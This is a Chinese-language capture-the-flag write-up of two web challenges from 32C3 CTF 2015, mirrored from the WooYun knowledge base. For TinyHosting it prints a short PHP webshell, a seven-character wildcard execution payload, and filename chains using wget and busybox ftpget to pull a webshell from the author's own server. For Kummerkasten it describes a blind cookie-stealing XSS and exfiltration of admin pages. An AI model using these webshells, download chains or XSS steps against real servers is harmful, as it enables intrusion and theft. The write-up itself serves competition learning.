作者:
一個狗
·
2015/12/31 11:57
0x00 簡介
作為一個銷售狗,還能做得動Web題,十分開心。 這次搞了兩個題目,一個是TinyHosting,一個是Kummerkasten。
0x01 TingHosting
A new file hosting service for very small files. could you pwn it?
http://136.243.194.53/
可以首先在頁面中發現一個隱藏的src引數,在URL里加上?src=1之後可以返回出頁面的原始碼。
大概的意思就是說可以往伺服器上傳任意檔名的檔案,不過每個檔案的內容只有有7個字元那麼長。
於是首先google了一下,最短的php webshell應該是14字元的這個:
#!php
<?=`$_GET[1]`;
(PS:原文的該程式碼被轉意過了,若有錯誤...見諒.
顯然不夠長啊。
後來腦洞了很多,想到了可愛的 *
,於是很重要的payload是:
#!bash
z.php
內容為:
#!php
<?=`*`;
剛好七個字元,不多不少,能把當前目錄下的所有玩意按順序執行一遍。
於是就要構造一些執行鏈了,一開始的想法是:
#!bash
busybox ftpget two.dog w.php z.php
其中前4個檔案內容隨意,w.php是上面的關鍵payload,執行w.php後其內容被我伺服器上的webshell覆蓋,而獲取webshell。
結果悲劇的發現busybox ftpget
支援的host只能是ip,而不支援域名。
後來想透過wget來構造,利用了302跳轉可以跨協議的特點。
#!bash
wget wtf.two.dog z.php
前兩個檔案人意內容,z.php為重要payload,即可拿下webshell。
但仔細一看,這題會在每一個人的目錄下建立一個index.html
,於是執行鏈被破環沒法工作。
於是使用bash來先幹掉index.html
構造:
#!bash
bash bb index.html z.php
其中bash內容隨意,bb的內容為rm ./*
不超過7個字元。然後再透過上面的方法即可獲得一個webshell,然後在根目錄發現一個flag。
之後看了老外的做法真是簡單好用,就利用bash、bb和z.php,bb的內容分別為ls /
,cat /f*
,簡單直接0 0
0x02 Kummerkasten
Our Admin is a little sad this time of the year. Maybe you can cheer him up at this site http://136.243.194.46/
Please note: This challenge does not follow the flag format.
Hints:
To build the flag, concatenate both parts and omit '32C3_'
進去之後只有一個提交留言的地方,四下看了看沒發現別的東西,感覺和XSS會有關。
直接丟了一個盲打cookie的payload之後收到了回顯:
訪問過去是403,感覺需要用XSS來讀一下頁面的內容。
本來的思路是XSS裡帶上jQuery然後用jQuery操作,結果發現頁面裡面有,太方便了。
直接用ajax可以輕鬆讀取頁面並回傳。
看到了 /admin/bugs
和 /admin/token
根據頁面中的資訊來看,關鍵是要讀兩個png圖片回來。
最後的payload如下:
然後把兩個圖裡的內容,一個mysql的password和一個6位數字拼起來就是FLAG咯。
0x03 Other
更多的writeup可以參考如下連結:
https://github.com/ctfs/write-ups-2015/tree/master/32c3-ctf-2015/web
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!